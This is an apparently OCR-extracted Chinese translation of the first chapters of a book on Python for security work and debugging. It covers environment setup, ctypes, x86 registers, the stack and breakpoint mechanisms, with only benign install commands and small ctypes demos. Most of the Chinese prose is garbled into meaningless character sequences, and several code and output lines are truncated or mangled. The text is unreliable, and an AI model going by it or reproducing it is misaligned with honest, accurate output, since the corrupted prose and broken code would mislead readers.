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P

SR TRENNE, FH—1&ES hacking FEEIENEE, JLEm, &F
L 23T Python, MMSEELKY TREHENET R, FitxtF Python BT
hacking 5l AEH—ERD—Aif LFM. NI BENHR, FERER
%ot M FFENER 20 2HER 2 FM, AELBENMNRLETER, XA$HE
FrL R IR A4 B AL — K38 KB Python Hack Fff, L AZFR7E hacking ¥ [A T2
BN R F

ERd2a, BEARS2IEMHBETIER, BRAGARE, B, fuzzer, 4
B2, REFEMNEBE—1MEe £, BMNEMNER R SERESTHET
Python #EHNTE, #EREBENHREBCHNIE, —&XAHE2FIEN BT
BN I EMNRADN, BFHMNE st —LEHAMNRA, #1TiHme0f 5, mXEHER
HE—EBEEEN, EURHNREFA4YH, ARRERELEAMITT.

BEAFMENHEE, PTG M ER—EMLEIE, INRIRZ— Python 7
F, BUBLBEHE KRB, EAMRFERSVHEN hack REBM»zERIE, #
FURKTRNR &FHE £MF %, MRIRE 23t Python BEE, F At ctypes Eh
RTYFET, BATUB 2552, YA, MEUTURRYYUEEFRLEBHN—F,
BEMNR M T i 2R,

HiE TRZEM 4R X38 B RRXSEMETE hacker WF R TI:MEZERRIR
H, SBAHE Immunity &Ry R, BSESNEMELER hooking LAKRF AR K
BN (TN FRIIEEHEIF0 ),

APpHBE IO E T fuzzers IN B, BAERHEEAD fuzzer [RIE, HB#
B— N 2 file fuzzer, BNE, 1458 KH Sulley fuzzing 228, HHEMERE
fuzz —MNEIE B FTP k%25, B1+E, F3#HE— Windows Ik 3 fuzzer,

B+—F, T IDAKEANGELIRCHITE)N Python ¥ B, +2%F, #mitf#
PyEmu, —/&TF Python BI{FE 2.

ABENFAAERLAMRERFFHE, EXRENMSEM T 2w, F33— 1350
EE TN E, BREBLEFSHNEND. AMUENSALEESFERS, AN
SR A3 B LATE http://www.nostarch.com/ghpython.htm #E,

Now let’s get coding!

st T AN B, % TFHFERT gray python BIE;F, xt B B9 STH
BRA HREE&LEMEN, 2 BxBREFERANMT, N TFTFatEfiF,
ETITE#—F T

R BABHRA, LHEHENEE, BlRufRE, LtEMALEEF/T
|E.|o ﬁE"J'fk{fléfl]“'gEEZﬁlﬁﬂgﬁﬁﬁF}\ﬁ(E%ﬂ;l'ﬂi COdeblue’ /J\jEu o o o ); J’l&
S2YENIES I WER, TEBRLERRERSZE T ARB hacker {1,

$ A0RR, MMEEFESRBRE 5 A, BLKz NRREBHEE, THETFKA
BFE BTy AN KTE, RAGKRAMRBRWERER, TETH,


http://www.nostarch.com/ghpython.htm

% B R RIRART b K [ 2 [ B 2 K]

PAFT:

M XEz ZB[BHHBZY], winger F#:20-30 4725 5:asm, ¢, python #tigzit 8y
FREERFE T L NLRAERE TEBBHRTEIEE, secoder(security
coder) Mt hi.baidu.com/freewinge 8% %73 X\:free.winger at gmail.com & #F:38
&, B, 55, A RELZWAR : EENFHE

BHEZ--——"TEREA BEMNNARROZER K. EBRTEERZE.



1 182 % 318

TR, HERIHAMEATHN, BRILF IBERS,

XEHMNEE LHI3EE, Python2.5 I&RE, Eclipse ECiE, MAKMWMA4E C #A
8 Python %73,



11 R 1ER% HES

B FEBEBKMTMES, Windows 2&FHNB 4. THNITEMI ZHEA AR, &
S BT % M Crack ML BER S, FTURHHAEBONSEET Windows(fE1T
{REefmBIEIRY Windows hiRA),

DER B FhBE = 1T7E 32 ALY Linux £, it BT VMware(VMware 12457
%R AN, AR A MAED) Ex 22 L, #1T, Linux lR&A 4%, AH#EEET
Red Hat B9 % #7E£ &:Fedora Core 7 or Centos 5,

% % B9 VMWARE 45.1&

VMware fEM UG EIREE T 2 % BIRA, XELEPWATHIRE, RESH, HEFE
fil BERAX, EMENTEMIIFER, EBF &2
FE:http://www.vmware.com/appliances/, Pyayer 2% T # 4t
&:http://www.vmware.com/products/player/,


http://www.vmware.com/appliances/
http://www.vmware.com/products/player/

1.2 3 BlXF1Z % Python2.5

Linuxer BT LABk: x NE gk, KERS Linux #8WE T Python, Windows T eI LUE
I MRER S HITRE,

1.2.1 £ Windows %% Python

Windows BYZ kA" LLM Python E 71 £ # http:/
python.org/ftp/python/2.5.1/python-2.5.1.msi. W#, —H—HHIRFERLER
1T, TEEAHI EB & C:/Python25/F, &% 7T python.exe FIEKARIE,

R BARRE Immunity 8:X28, HEBE TEREZS SN NMNER, HbmE
Python25, EEEMHNE ¥ &, ?Jzﬁ]@%ﬁﬁﬁ Zl Immunity, T & 7 ™
http://debugger.immunityinc.comEBRARIE x BIHFL F &,

1.2.2 7£ Linux £ &% Python

MRFEE Linux EFTRE Python #55, ATLURINTHS k1T, X BEFEA
Red Hat B9%T4ERR, FEX N it F2E A root &R, HF—%, T# Python 2.58#
H R

cd /usr/local/

wget http://python.org/ftp/python/2.5.1/Python-2.5.1.tgz
tar -zxvf Python-2.5.1.tgz

mv Python-2.5.1 Python25

cd Python25

H H H HF

X3 2 Bl/usr/local/Python25 2[5, TE%3RET:

# ./configure --prefix=/usr/local/Python25

# make && make install

# pwd

/usr/local/Python25

# python

Python 2.5.1 (r251:54863, Mar 14 2012, 07:39:18)
[GCC 3.4.6 20060404 (Red Hat 3.4.6-8)] on Linux2

Type "help", "copyright", "credits" or "license" for more informat:
>>>

J e

AEBRMNFMAE T —DRXERB Python Shell, AE4% B HAYIE/E Python # Python
}ﬁ To #ﬁkﬂ\ /j/ﬁ“ 1&_]:



http://debugger.immunityinc.com

>>> print "Hello World!" Hello World!
>>> exit ()
#

BiF | —tITFIER, # TiLR%AESH%ILE Python it 2RUER R, BEH
#/root/.bashrc X4 (/F / %&/.bashrc), HENALLKREX% nano, At ARATLAMERRE
% s g 2n (N AHEZE vim [2 1), $TFF/root/.bashrc, EXHEIRIMALLTR 2,

export PATH=/usr/local/Python25/:$PATH

X BEERIAT python tp S RIEHE, FLA i ATER python B8R T, TXRA root
B Wt {%, FLTE(EM shell T A python FLEEREI— PR E R K Python Shell
T

AT HEHNFLK=2, TEHLEMNEERCS IDE(ntegrated development
environment ), (FHIFF % 3REE N T :ActivePython,UliPad 23 Script.NET,
ipython (& bpython, #iX, B# &, SBHHAELEET, )



1.3 B2 & Eclipse #1 PyDev

A TIRZEMBIFF % 83X Python B, M mEFERA—TER IDE 5, xEF
E# FH R Eclipse(FBBXEA R IDE)#FI PyDev, Eclipse LAE 38 KHYA] EHI M H
%, THLEMN EENEZENREEN :

1. M http://www.eclipse.org/downloads/ T # & % &
2. /2% C:\Eclipse

3. 117 C:\Eclipse\eclipse.exe

4

. B—RET, SRERERETFEMER Z ; BEAFARRELIT T Use this
as default and do not ask again &) £, =& OK,

Eclipse ZZFLLE, %1% Help Software Updates Find and Install
1 4% Search for new features to install A& ;= & Next,
=+ New Remote Site,

7£ Name JSTEE_E PyDev Update, 7£ URI FEE L
http://pydev.sourceforge.net/updates/, & OK fik, B R E Finish,
Eclipse =B # 4% PyDev,

9. t—=JL, BEFEOMSHN, HEIMinA PyDev Update, it E PyDev, #
# Next 4t 4 F—4,

© N O O

10. i PyDev thil, WIRMEE, 7% | accept the terms in the licens agreement
L,

11. # & Next, # Finish, Eclipse FFia%& % PyDe ¥ &, £E=ME, *&
Install All, 12 &xlg—%, 7 PyDev Z%&F 2 f5, % & Yes, Eclipse REH
& # 3 I0# PyDev,

FARAM TS EEE Eclipse, LR PyDev REIEHEEYH F Python fZ# 23 #h1TH
A,

. Eclipese Ik # 5, 4 Window Preferences

-_—

2. ¥ & PyDev, it3#% Interpreter — Python,

3. TExtiEEmIRmEY Python Interpreters #1214 New,
4. ) % B C:\Python25\python.exe, #AfE = # Open,
5. T— st iERKRFIH Python FE2RET W&,
6. BRR# OK BHREE,

A% AE, FTEWE— PyDev TR, AHHAMANKAEAATLUEX N TEH
17,


http://www.eclipse.org/downloads/
http://pydev.sourceforge.net/updates/

1. kRt 4% File-->New-->Project.
2. BFF PyDev i3 PyDev Project, |+ Next 44z,
3. I #2444 Gray Hat Python. /= & Finish,

Eclipse EOB# B#zfE, =&Z| Gray Hat Python TRREHAERBEEZ LA, 3
EA & sec X1 £, #%4% New-->PyDev Module, 7£ Name FE&# A chapter1-
test, =& Finish, Fmi= BF, TREEIR#HEEH 7, chapteri-test.py #EINEIFIF
l:Po

7£ Eclipse #iz 1T Python flA, EE % £ TE# EH Run As(H4BEE R BE
IR AT T . BT RIRIBIA, TTLUERRELZ CTRL-F11, HAMGHES
% /R1E Eclipse KB Console EHk, MIEHEHEL R XK A,

1.3.1 hacker 18JAA % :ctypes

ctypes B KM, BREIABLUENBHWILEMEBEHREETILL, FHACHMNFE
%A A SREEPE, ABEME &M CHIELBENKZBFEE. =
Tokk |9, ctypes LA BIE #h,

1.32 EAHABEE

{# A ctypes WE—F P20 B WA 7 o S EEPHER. —D
dynamically linked library(#& s A& & #rE)HEsl2— N = ##IXHE, Tt —HKE
2iE1T, Meal NRERAAHRIT. 7£ Windows LR dynamic link libraries
(DLL)3h A4% 3% & ,7F Linux £ 8 shared objects (SO)XE &, LTitttoFEH, X
L PR EREESY AEL S ENETAB, ZEBENEPRHEEMMIE, AT
IE?%“'I‘E)R"F, Ea A, BT HEEUE, g ctypes BIEAITHRT
X—,

ctypes =Mt T =F75:%8 A 5 A4 3 E cdll(), windll(), #1 oledll()e EABIARRZ &
FhTE T, AR AEMREE, cdl() iN&ME, HS$HBEREU 5 E B E
B cdecl A E. windll()AEME/E, HSHEEW5ER stdcall A Y
TE(Win32 APl IR4& %4 7). oledll()7AEF windll() £ 4, At iNREEORE—
HRESULT 4¢:2/8#3, AILUER COM HEERIEAFM4;2E R,

ABRYE

BRAAELIRRBMAR AL, EhaE, RSN ERAE, P (R AR
EHNEES) , UREEURON, RNEHLRE, TAXAFHYERRNERE A
EI#Y : cdecl and stdcall, cdecl A4 E, HBHWSHMEEFLEKREALRA, K
BWEAEE, TERERITTERE, f RERBTEE, xFHyEERT x86 Ry

Ciz8E,

InC

int python_rocks(reason_one, reason_two, reason_three);



In x86 Assembly

push reason_three
push reason_two
push reason_one
call python_rocks
add esp, 12

M EEBSCHmAAH, ATLUEMNERSEE G 2R, &RE—1T, RIEHEMT
12 NFH(ENSEE R TEHYE, BIHEARNEHES 4 10FH, H1219),
615 HEE A2 AR A4 IRE 2R REBAE.,

THEZA stdcall A4 EM T HIF, BHF Win32 API,
InC

int my_socks(color_one color_two, color_three);

In x86 Assembly

push color_three
push color_two
push color_one
call my_socks

ZMEFE, SBEARNRFEEMNGREIZE, TN ARNEERIEHEE my_socks
HoXmWK, MARRAAE. &E—R, XAaMiEAAXKREEEF#7E EAX
I:Flo

TEM—NE 28X3%, BEM C EFAH printf)REITEN—5EE, Windows
Y C & AL F C:\WINDOWS\system32\msvcrt.dll, Linux H89 C &I
F/lib/libc.so.6,

chapter1-printf.py Code on Windows

from ctypes import *

msvcrt = cdll.msvcrt
message_string = "Hello world!\n"
msvcrt.printf("Testing: %s'", message_string)



C:\Python25> python chapterl-printf.py
Testing: Hello world!
C:\Python25>

Linux TEERHAE :
chapter1-printf.py Code on Linux

from ctypes import *

libc = CDLL("1libc.so0.6")
message_string = "Hello world!\n"
libc.printf("Testing: %s", message_string)

M ERUOT:

# python /root/chapterl-printf.py
Testing: Hello world!
#

A LAEE ctypes A& S uiEEFHRBES & £,

1.3.3 #315 C #iE £ B

{#F Python 12— CEIE £ BB £, MALMERZMMERAE C & C++LH
s, Listing 1-1 27 R= %Z@Mﬁ?%%o



C Type
char
wchar_t
char
char
short
unsigned short
int
unsigned int
long
unsigned long
long long
unsigned long long
float
double

char * (NULL terminated)

wchar_t * (NULL terminated)

void *

Python Type

1-character string

1-character Unicode string

int/long
int/long
int/long
int/long
int/long
int/long
int/long
int/long
int/long
int/long
float

float

string or none

unicode or none

int/long

Listing 1-1:Python 5 C ##7 x BYph g
FEXBRBEIBE REFIMM A, ctypes F BUFIIALRI@E, KM EBNATE

EL BEKXK, ETEBHTF

o

C:\Python25> python.exe
Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (:

>>> from ctypes import *
>>> c_int() c_long(0)
>>> c_char_p("Hello world!") c_char_p('Hello world!")

>>> c_ushort(-5) c_ushort(65531)

>>> c_short(-5) c_short(-5)

or none

>>> seitz = c_char_p("loves the python")
>>> print seitz c_char_p('loves the python')
>>> print seitz.value loves the python

>>> exit()

B

ctypes Type
c_char
c_wchar
c_byte
c_ubyte
c_short
c_ushort
C_int
c_uint
c_long
c_ulong
c_longlong
c_ulonglong
c_float
c_double

c char p
c_wchar p

c_void p



ER—1TH FREE T "lovesthepython" I EF FEIEH R B L T &
seitz, FF @ it seitz.value A& ESIA TR E,

1.3.5 EL g G

MM FERIFFEBNKIE LR, WAEHERT WIN32 89 API # Linux B9
libc ., —PMEMETEMBE—AFNETENES FMEXEMLAER)LELHAN
FTERELAB LS ARSI, JLUBE [RINEEEE; .
beer_recipe.amt_barley, #2357 beer_recipe 4 #HHJ amt_barley % £,

InC

struct beer_recipe

{
int amt_barley;
int amt_water;
Iy
In Python

class beer_recipe(Structure):
_fields_ = [

("amt_barley", c_int),

("amt_water", c_int),

SNMRAT R, ctypes R £MIRLAIE T —1 C REM L, HEMLHER. BR
BEEPMAELERL—TAFML, REA— P TENRFER, XDZEFBIRN
MERANBTLENKN, IHERESEREEATRLEN T ERFF 97T,

InC

union {
long barley_long; int barley_int;
char barley_char[8];
}barley_amount;

In Python

class barley_amount(Union):
_fields_ = [
("barley_long", c_long),
("barley_int", c_int),
("barley_char", c_char * 8),



WMRBAVE— N &L E M barley _int, EEFRFLEEY: A
barley_char, i FRIFR B RAIF # AB 66,

chapter1-unions.py

from ctypes import *
class barley_amount(Union):
_fields_ = [
("barley_long", c_long), ("barley_int", c_int), ("barley_ct
]

value = raw_input("Enter the amount of barley to put into the beer
my_barley = barley_amount(int(value))

print "Barley amount as a long: %ld" % my_barley.barley_long

print "Barley amount as an int: %d" % my_barley.barley_long

print "Barley amount as a char: %s" % my_barley.barley_char

4/ 1 0
I

C:\Python25> python chapterl-unions.py

Enter the amount of barley to put into the beer vat: 66
Barley amount as a long: 66

Barley amount as an int: 66

Barley amount as a char: B C:\Python25>

BPRER—NMEMESE =MARNRA AR, &E— barley_char # B
= B, &% 66 R#FE B #J ASCII 53,

barley char ik 7 Rt 21NE4E, — DNNADFERFRNEE, 1E ctypes HEE—
ME, REG2N TS L BRUEERFNEEMTLT,

—tIRisk, FFIRTMBIRRIZIE |



2 5Bk e % it

BRI ERRENRE, MESEHEER#1THAR RO, FiEd Pk
£ exploit ,fuzzer /B TEIRHRE, 5 ADWTRIEEREMBIFE R KIE, xtTFiA
REBNERARSBAZT IS 7, BERHAXBHEZREE, HHHAE2BRLAET
To B TR MRIE 21T AR,

R RM THEESHEANM SR, LiNiz1T, #E, T#, —D#E; % EW

f:ﬁﬁ%ﬁ%ﬂﬁﬁ:ﬁﬁﬁ%%%,ﬁ%&&ﬁﬁmm%,m%ﬁﬁﬁgﬁw
Rt

ERAZEZEL LitBMNEAETRTAZARXRNBEZARNTRE, #2HFLTAR
e 8E— 1 E#HAXE, EFrIELE RS REF#TRBNER
Fo XMRHAR AiX. UBNERBIRERLNHE, FxE, ¥EIENF,
Hacker = m R &R X IREHERF. BEARF, FXM% et RBEEH)
ENEREM, —ERINMER LS K8, X EEQTHERNZ ERE,
HEEFNE2NTREE LR, BTENNItEEE %, BRSBMYRBAEE®RS
MYETEREINIRTEE 2, 20, AEETIH ENRE, EELFLE
BT,

BaNROKAMARNER : B ER M ARER, B EX (BEENZE
ring3 #MIEF) —RIRERETH P EFN—KRER (ZEMNER) . B EXH
WIERREM, WRiz{T2E38 (caclexe) "MInE, ME~4E—1H P2 5M
#12 ; XD AR R MER FERNAR. MOMEANREREHN. XBEIT
BRERENR%, BHEF, K2 B, HiziT Wireshark IRIFHIETHIe %, FL
M NITEERZBMLIE#HXE, R FREGERAHNELMNIEHIRE, HE
EFALTEFERRIERHR X T .

TEHHNXEA AR RSBZ AR N ZBAREARE T  WinDbg (s%E=) ,
OllyDbg (—/ % % B938:X 85 /& 2 Oleh Yuschuk) . ZH{RTE Linux TiXEFH
%, FAEEMER #7ER GNU Bk Es (gdb) » UL EB=1 AR EAE K,
HEZL BN EN® R,

BIOJLE, AXENERARRAERIRE T KBHNL B, FF7=7E Windows F
B, SRAXPAERRTy REL, BEEIHAIE WA RXEH#1TH
— WA LT B, LiNRESLHFEHRE, LUIRHEMBIE ] % Hacker Fl# R T2 % %
ERINZMINE. EXFTEHERA T A NTHTINEAERARENFEFR D 7
7= PyDbg (byPedram Amini) 1 Immunity Debugger (from Immunity, Inc.).

PyDbg 28— Python 2 L BY:A X35, iLBEBEY B Python & 5 £ EAVEEH]—
D#IE, ABHILAK. Immunity jBiX2NE— N iLREERI— =88 X 25,
FEBH R, %4 OlyDbg, BE#E HEAMIIEELLKRE LB Python X
&oﬁﬁﬁﬁﬁ%&ﬁ%%ﬁﬁ%%ﬂ%ﬁmmﬂﬁo%E%ﬁﬁm%lT%%ﬁ
%%E’\]_ Efio

EXE, BMNREEREANEHTE x86 LA THH FER, Bitxt CPU X%,
() RUK A RBNEZIEFEE HIEARES, B XSHNITERE, yxaik
118 2SRRI 283 FE A,



JX1E Python Ik

2 i@ R ER ikt

19



1 @M CPU 7725

CPU M5 FasfE 9t D 2R # 1T ENEFEGS 7., 1E x86 855K E, —1
CPU B N\ EFZ172% | EAX, EDX, ECX, ESI, EDI, EBP, ESP #1 EBX, #H1RE
% 5| HEFS, E%ﬂﬂ’gaﬂﬁﬁﬁvﬁﬁ@o ZFANMEASEREETNANAR, THE
FBER M FHAZ AR BReE2REEMN, BN FBRNE—E&EE N SESM
hEE, ERBi@ET —1N g 2 kRt enERAE,

EAX FEStWUMRNSESS, RTHETEARHBEROE A A FHRITIHEN
BIE, #2180 x86 IBREE % 1% T 43t EAX FESMEMN+EES.
FUA0MER EABINN A, Lk RIS TR TRFRIEEERE £ 1189 EAX #£1E38 4%,

BIEFAI T, HHAREEtEEREFERTE EAX FFESRE, Xx—RREE, I»ya@&
iR B EAX By el UHBTERB 2 AT 5 S, k& SEIAYIRENE,

EDX st EiETESR. XTEFESMER LEE%E EAX ZFF2sHIEE{R,
e 45 B EAX mﬁkﬁ%§+E’Jﬁ%}aﬂfﬂgﬁ,ﬁuﬁ%i T 2 AN UIFERTES
HH, T IEZHNELE EAX FESE#1THERE

ECX 5%y, M+ #F =S, BTEFBRE, LNEENEFEHIERE, =X
B FE%i+,. B—REBEEE, ECXHFEHFHAEZERTMARE LM (¢ £IBEER
=RT ExRFEs 2B RAENN)

&— T TNEB Python FEX :

counter = 0

while counter < 10:
print "Loop number: %d" % counter
counter += 1

INRARB X R BHAEBCC RN D, (REBIFE - ECX 5T 10, H=#
et EFT 9, MLEREE ECX AV E 0, X REZ L AR, FEHXH
Python B91E3F RIFRAEKR, BRRE 2T ECX 2R T+ ENRIT T,

7£ x86 ;L4 B, #kSE ESI #1 EDI HEHEFTE/ARENEIBAITERHL
2, ESIHFEHBRBREREH, FHEH ANBIERNAME, EDI SFxe28H
BIERIEY, TR THELREE#BNME, §MS~, ESI (source index) AT
i, EDI (destination index) FATFE., ARRERIEHMBIRERIEL, HRX
MiIRE T2 F L EBHIENNER,

ESP 1 EBP 73 5| @A fEH MEEH, XANFFaLR 1 7 REE R AR

1B, S—PNEREHE AN R, REFEBZNSEM S L5 # AN REEREBGRO M

s #, ESP IEEAW, tREiER[OMit, EBP nisEAMEmR, AaiE,

ﬁi’%%ﬁﬁ‘é%ﬁﬁﬂjﬁ; &, #iX EBP, EETBRTANEEF, REHEENFTES
ﬁo



EBX BH——DNRERKARNEFLR. SRS IFARANBTELEFR, 68—
TNRERENSTEHRIZE EIP, INEFFHRLEERL LERITHES. =5 CPU
HAT—PREFHRT LS E, EIP 2SR %A CPU 3 EEHIT
FAIE,

— AKX BRDABES R AFHE BRI ETERNHNET. E—MRERLEIR
# T —NEOLARREM CPU XH, LUEREe i ENFBex @, S ERE
HRVER % T Y i m i) £ JRAT 3 RE,



2.2 &

EF %A RBHNHE, R TNIEEEENSH, RERT SHEGEAMBEXBEH
ER, SRENHHNSHMEBRITTEKEREBINALE, ESP #i #RER4%m, EBP
fi HIRIEEAE, BRMAENSHIHRENE K, L Fq BRI 5 BRI B
my_sock(){E 4 5l F 3 fZ A& =0 Al THERY,

Function Call in C

int my_socks(color_one, color_two, color_three);

Function Call in x86 Assembly

push color_three
push color_two
push color_one
call my_socks

HRIEZRBIZ 0 E 2-1,

ESP register ———= Return address

color_one

color two Stack growth direction

color three

EBP register ————= Base of stack frame

2-1: my_socks() BN BRI &4

IRFR R, XRB—TNIHEEH 2NEELH, AR ERMERERFPEREGHRNEH,
% my_sock()EELCROIM R, BR#EHAEMANSH (RO #%E EIP) |,
SREBKEIRE Hriit(Return address)ig MBI S (REEBIKZER) #45M1T. 5
— I EEEZENB I AMEE, BFMB my_socks()EHEy B— R, iLFHM
BEHRBHAREHMNE—HEIE Bii—NFREHE, NHSE color_one Bl
I B, K20z IRXH



int my_socks(color_one, color_)

{

char stinky_sock_color_on[10];

BB ERE B B % stinky_sock_color_on 222, UEEKRE AR (A
AN BPITREMAR, TSI ERBAE G e, MERXERS) . FiFKIHIU
&, HEARZ #IHERE 2-2 BRI M,

ESP register ———= stinky sock color one

Return address

color one

color_two Stack growth direction

color three

EBP register ———= Base of stack frame

Figure 2-2: 7£ stinky _sock_color_one F %[RRI ESR

RAEIRE T AR EZ ANAITEAR B B3 B LA R AR I8 4 2 WA AN RTEIIE K 5 M 4% 17
B, iAiXaEs s AL HIRIREE D ZHES B AN, FrEENEREFRER, R
BRiE & A TR % PG HB R,



2.3 AR EH

ARBREAREFNHEE—BER/HFREFRS, BEFRNE—NMAREANLE, Y8
RE B2 EMHE, MRAR— NSt mEHLRIEERE,

L IERBRAANHE, ARBRYEEFFEF I —FSIETR. UTHxEEAZ
— FX A ARG IR R (thAHEFEA)

o WmfiR%
o RfFHf (oMiis i s BINE R4 2)
o BEFRE

BMRERAESERTENT AN X EEM 43508 kd, SERIRFERAEY
#wm g . WORRERA, BEFERR (BBA) EZMEH, HLINELREIEAEN
BIERLL R 5h & 55 B OO0 3 B a1,

—NEFHE R EFD AR I EGBMARN, ey BELSEHLEEBEMmRER 3 17
BabiliXe FMEIF, —PRFGF > ENgAKIRH, S TRERBY
AR, MRETSEBEXPMRALANRRBRE, —F—FHRERER.
B YIRERES iFRINARIE R XS, ©Rlees BINEEx m S4B
R, FEAENBERE BRIER, I TR FE T E, FitHNELEHN
PEH N X AR



2.4 s

YENEE L AXREF T ENHEMEEREI R, B HE#1E, BMNERAR
T2, HASBURRERIE, FHiezthi. MaEEELMITL, HRAR#E
FEReHE XEHREES MR T BRER, MIRTEOR=M : s G4HTs, FEER =,
N =, hiE EFRCUNITELR, BEaFRIANETHER.

2.4.1 H MR

HEMAEAMEMEE CPU TR EMEMNK AN HRERE 45, %k Eka
MEFIREAXIETENZRZHMN SR, kG RNRNERE—T2F %E’]?EI'I’-!;

BEF%E TR, FIHERIWEBL R XN RLIBRKE, ERBARTEN
A TVE BRI KFFERTE x86 ;L BIs T MIEIELBZE 7],

Cmigo— CPU TR SHE LRI AE. EN6IF

MOV EAX, EBX

BENMESEIR CPUBE#7T EBX FEHENAAEKRE EAX FEHE, HEH
¥, ﬁ7”ﬁfPUE$T%ED?m%%,*%ﬁﬁ%%m WNW%W@
B4 T, #17E= (opcode) i operation code,f2 CPU BEIEEFH #ITHES, B
ERC BIED R LRIRES B2 T HEX A

8BC3

R3N, =EEE#HTHRFEEINS AR, BxfeE CPUMNES. (RY

LUBC 5 BIERM CPU {1189 DNS (—HMEEMTIH A IP IR %) . RAH

B—P1 e e 8 & iy iEs (£00IP thit) , RMAKZHNEE 20040

BT, REXERESE WL HNHERNREFD, EEHENAXPRROTAER
183, BEMMNTEEL AN RBNARIFETEE.

INRF AR RIS S £ £ 1 0x4433221 x Mihtk, —fF2x # 2 =8 :

0x44332211: 8BC3 MOV EAX, EBX

XERRT I, BES, e CRiES. ﬁTEUﬁﬂﬁht Y EMTR, #iE

CPU, HMPM21=F M8KB&Wﬂ¢ﬁ& HENIRERS, XN EF
v%hﬁﬂmﬁmsﬁ¢ﬁi (INT 3) , ﬁhuwu%FMEn°3%¢%
i3 IR VEAFLZ OXCC, ﬁi%m%&ﬁﬁﬁu’ﬂ] Y=gV =10 R n A

TEU Rk B RTRVIRE



0x44332211: 8BC3 MOV EAX, EBX

BT mR 4% 3% (B R B84 A2

0x44332211: CCC3 MOV EAX, EBX

REBE RIZEmHE 8B #E KT CC, Y CPU #ITEIX NMEIE2B %, CPU
#H1{E, FHEhL— INT3(3 SHEEH, AXFEFELREXNENE, BEAT R
HHMNB A X283, FARAXBENMEXRRENEEE, YA XBEEMNER
Fritb s B— NS, © BhicINBAthitE— Ny ieEs, RERGER
e, EstiBiFE A ERIEFET RP, BFE, AXSRE—ITEYREZLCCE
AR FHIitE, % CPU #1TEI CC #{EmM sHZFL =R 2 —1 INT3 FRETEH,
ttet B X B FLEE IR X N EH, AR e FIRT XD 2 £t @it
EIP 54, B89 E4H)RTEE KRR EM Syl WRTEA X 23N ERAIRT =
FIFRAPIE T Xk, & EMTRBIFE A ERNIRELBEOE B ndth tE, X3
#IEWAXSRREEMEEEENINIT, B 2-3 stb#1T 7T i miiEL,

Breakpoint List
Address Byte
0x44332211 il
&
© Debugger is instructed fo set a
breakpoint on 0x44332211; @ Overwrite the first byle with the
it reads in and stores the first byte. 0xCC [INT 3) opcode.

e
A

— CPU (EIP) —»= | 0x44332211: 88C3 MOV EAX, EBX

©® When the CPU hils the breakpoint, -=
the internal lookup occurs, and the
byte is lipped back.

2-3: 3k (i A 2 BB it 72

B R BRI R AT LG E - IR R AR T . — IR MR UK
&, — Bz (k) —R, EREMREHREITIRERE, —DREAMER
RIE CPU fi%x EREMFHERNATHNMRSIIRE, U RaTHXErRS



BT
[e]

AT RE—D A« BIRRE T HRAXEFNAFRIEN X, RERNE
Tz TS HRITER TR SRS (CRC) . CRC Z2—MREHBFBEBR SR T
MR, Bf REERTXMH, RAE, XX, WAEESHERMRIE & SiEN
ZTRIMTT, CRC f—7iE B ABEHE#T hash (B5) 8, A#EIEFR—
2t ARNAFREATEE, AR hash @FLLAEIRIEH hash (4 #1TLE
®, DHETBEREWA L. MRTEHAKE #a T, Rekn,. sRREE
2, BymsEFaBanEFRERTEYE TS CRC aREHERA, TR
BARIERIER, MB#HAEBEC, H T EXIMRFIRNIER THEEEHN #1THKXT
75, BEFEREGM=RT,

2.4.2 TR AR

UM RIEEER, LHEABRE I REKERXENR, BEXTRERENN
B

X fhk BIBORT R 482 B1E CPU 4 3, FRBFENSESS  AXSEFEsSs. — 1T CPU
—fk=E 8 MNiAxS1Fes (DRO F772:5%I DR7 51738) , BNEA T SRR
B, AR EEE DRO 258X 575728 DR3 @4 stthtlt, X ERB(RE—ot g
RNE% REed 4 MEMHETS, DR4 #1 DR5 1£%, DR6 2RAZEFS, #HATH
B e i % B X BRI X B, DR7 AL 2— MEAMAMNTFREES, Rt
TR ARELE, Bii7E DR7 FERELE TRASE, L EUTILH
=

o LNFEMMI EBTESHATHIHE A BT
o LNFEMMI ERITET LS ARt &

o LEERMI EERIE EHEFETNITH IR XIBEM, SREBRERE
HET= (EZ 4 1) , XTBEBNE TH#ER R,

2-4 RRT SEMGMTREPRE, KEMMIEERBTFER,

Layout of DR7 Register

LIGIL|IG|L|G|L |G Type | len | Type | len | Type | len | Type | len
I
DIDID[DIDIDIDIDEZZ DR |DR | DR | DR | DR | DR | DR | DR
RIR|IR[R|R|R|R]|R 0 0 I 1 2 2 3 3
olo|11]2]2|3|s A2 _
Bis|O[1]|2(3]|4|5]|6|7| 8-15 [1617|18 19|20 21|22 23|24 25|26 27|28 29|30 3]




DR7 with 1-byte Execution Breakpoint Set at 0x44332211

W
1T{1{o(0]O|O|O|O / 00 | 00 00 00 | 00 00 00 00
Z
L‘J L]
D
R 0x44332211
0
DRY with Additional 2-byte Read/ Write Breakpoint at 0x55667788
W
1T{1]1]1 'U'D'U'D/ 00 | 00 11 01 o0 0o o0 00
7
L‘_’ L]
D
R 0x55667788
|
Breakpoint Flags Breakpoint Length Flags
00 - Break on execulion 00 - 1 byte
01 - Break on data wriles 01 = 2 bytes (WORD)
11 = Break on reads or writes but not execution 11 - 4 bytes [DWORD)

2-4:.DR7 4R E T T mBy £ B

0-7 ML BTEEMT R HBIEE Rk, EXBAH LM G FEREFEMEFZIERSE
B s, BHIBANMIEEET, UHEMN2H P EXHRRPREE—DERBEL
£, 8-25 il TEFA1—MRBVRXFEARE, 7 x86 BUFM LARAT LA B X Fix e
H Bt mfRst, 16-31 ALRE TR EE 4 M RSESRTPEGM AN EREKE,

MG R AE, EEM=AEA INT3 i, maE INT1(1 SHET).INT1 § FiE
4 gL =, T3 (Single-step ) BERE—F —FSHHITIES, MMFEH
BB k4 aLUE S ABIEN T b, £ CPU BRMITHRBZA], #HRLHAS
BT 280 It R A aathit, AdtBEWARTERSE ;9%
BB T EHMTRANERS, WREM#F/E DRO-DR3 ARy A M8 X 1545
Wi T, #haflk INT1 i, Ees# 2 CPU, IIR&EAE, CPU #iTK=, BT
— 1T 3et, CPU g 4:EE8 FEML S,

4Rk EER, BEE2EE—ERE, —AEIFR— n REXEM MR, 3
—HEREFANKERE 4 M7 (BE2en 4 DPFFHNAFEERT) .
INRARIE REIF—ABRERE, AHATET, A THERRXNH, THREREIRAE
T ==

2.4.3 AFIT



REMRELTREENMR. S—MAKSKET —TAFMRBNIE, SHz
= WE TRAERENRIETHORR, —TARAER 2R FRAKENS/NNRAEF £
i, — PR FRAKEFKRIILUE, BHE T —TMRRE, BRETREZNMEHMF
